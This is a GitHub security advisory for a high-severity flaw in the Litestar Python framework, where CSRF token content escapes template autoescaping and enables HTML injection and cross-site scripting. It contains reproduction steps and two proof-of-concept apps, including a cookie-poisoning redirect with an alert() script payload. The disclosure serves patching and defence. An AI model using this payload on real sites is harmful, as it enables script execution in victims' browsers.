GitHub Advisoryadvisory · PyPI

GHSA-542p-wvx7-72m4 Litestar has HTML Injection Through its CSRF Token

HIGH Published 2026-06-10 Modified 2026-06-10 Official page ↗
Aliases
CVE-2026-48060
Ecosystem
PyPI
Packages
litestar
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Weaknesses
CWE-79
Reviewed
2026-06-10

Affected packages

• PyPI litestar: < 2.22.0 → fixed in 2.22.0

Description

Overview Litestar instances which use a template engine in conjunction with CSRF protection are vulnerable to HTML Injection which can be escalated to Cross Site Scripting due to the contents of the CSRF cookie being excluded from automatic escaping by the template engine when configured inline with documentation recommendations. We used the latest Litestar version available via PyPI for this disclosure. At the time of writing, that is version 2.21.0 and we have not validated this against the current latest commit on the main branch. Special Configurations Required For a web application to be vulnerable to this issue, it must: • Use templates to render the content which is returned to the user (e.g. Jinja, Mako, MiniJinja) • Have CSRF protection enabled • Have CSRF inputs enabled (i.e. a hidden form field which contains the CSRF token) Links to relevant documentation for the above configurations: • https://docs.litestar.dev/2/usage/templating.html • https://docs.litestar.dev/latest/usage/middleware/builtin-middleware.html#csrf • https://docs.litestar.dev/latest/usage/templating.html#adding-csrf-inputs Reproduction Steps 1. Visit an application which contains a form, uses templating, has CSRF protection enabled, and which inserts the CSRF token as a hidden `input` field on forms. A proof of concept application demonstrating this configuration is included later in this disclosure for ease of reproduction. 2. Observe that the server sets the `csrftoken` cookie when the page loads. 3. Set the value of the `csrftoken` cookie to `">HTML Injection Test`. 4. Refresh the page. 5. Observe that the contents of the cookie is rendered on the page. Exploit Code There are two Proof-of-Concepts (PoC) included here. The first demonstrates that arbitrary HTML is injected into the page when the user supplies a malicious `csrftoken` cookie. The second demonstrates how an attacker could deliver an attack using the vulnerability to an unsuspecting user. The proof-of-concept applications can be started using these commands: ```bash run poc1 python -m uvicorn poc1:app run poc2 python -m uvicorn poc2:app ``` PoC 1 - Minimum Vulnerable Application This proof-of-concept demonstrates that a crafted `csrftoken` cookie will be rendered on the vulnerable page as HTML. poc1.py ```python from litestar import Litestar, get, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig @get("/") async def hello_world() -> Template: return Template( template_name="test.jinja", media_type=MediaType.HTML, ) ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[hello_world], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` test.jinja ```html {{ csrf_input | safe }} Username: Password: ``` Sending the following request to the vulnerable page will result in the HTML included in the `csrftoken` cookie being injected and rendered on the page. ```http GET /vulnerable HTTP/1.1 Host: localhost:8000 Cookie: csrftoken=">HTML Injection Test ``` PoC 2 - Simulated Attack Delivery This proof-of-concept demonstrates how an attacker could deliver an attack using this vulnerability to an unsuspecting user. We are using this example as it provides for easy local reproduction, it is possible that in end applications there may be various ways to trigger this vulnerability which differ from the example provided. First, the user must visit a malicious application (the `/first_site` endpoint in `poc2.py`) which sets the `csrftoken` cookie value to a malicious payload. This app must be hosted on the *same top level domain* as the vulnerable application so that the poisoned cookie will automatically be sent by the user's browser to the vulnerable page. Next, the malicious app *redirects* the user to the vulnerable app (the `/second_site` endpoint in `poc2.py`). The victim's browser will automatically send the poisoned cookie to the vulnerable app. This causes the vulnerable application to unsafely write the cookie content to the page and return it to the user, executing the attack in the victim user's browser poc2.py ```python from litestar import Litestar, get, post, MediaType from litestar.response import Template from litestar.config.csrf import CSRFConfig from litestar.datastructures import Cookie import jinja2, os from pathlib import Path from litestar import Litestar from litestar.contrib.jinja import JinjaTemplateEngine from litestar.template.config import TemplateConfig cookie_payload = '">alert(document.domain)' malicious site which poisons the csrf cookie @get("/first_site", response_cookies=[Cookie(key="csrftoken", value=cookie_payload, httponly=True)]) async def first_site() -> Template: return Template( template_name="page1.jinja", media_type=MediaType.HTML, ) vulnerable site @get("/second_site") async def second_site() -> Template: return Template( template_name="page2.jinja", media_type=MediaType.HTML, ) example function for form submission if csrf verification succeeds @post("/form_receive") async def handle_form() -> dict[str, str]: return { "message": "form data received successfully" } ENVIRONMENT = jinja2.Environment( loader=jinja2.FileSystemLoader( searchpath=os.path.join(os.path.dirname(__file__), "templates") ), autoescape=True, ) csrf_config = CSRFConfig(secret="my_super_duper_secret") app = Litestar( route_handlers=[first_site, second_site, handle_form], template_config=TemplateConfig( directory=Path("templates"), engine=JinjaTemplateEngine.from_environment(ENVIRONMENT), ), csrf_config=csrf_config, ) ``` page1.jinja ```html Setting cookie... setTimeout(() => { window.location.href="/second_site" }, 2000); ``` page2.jinja ```html {{ csrf_input | safe }} Username: Password: <input type…

Related

Alias · CVE (1)

  • CVE-2026-48060 Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. vulnerability

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References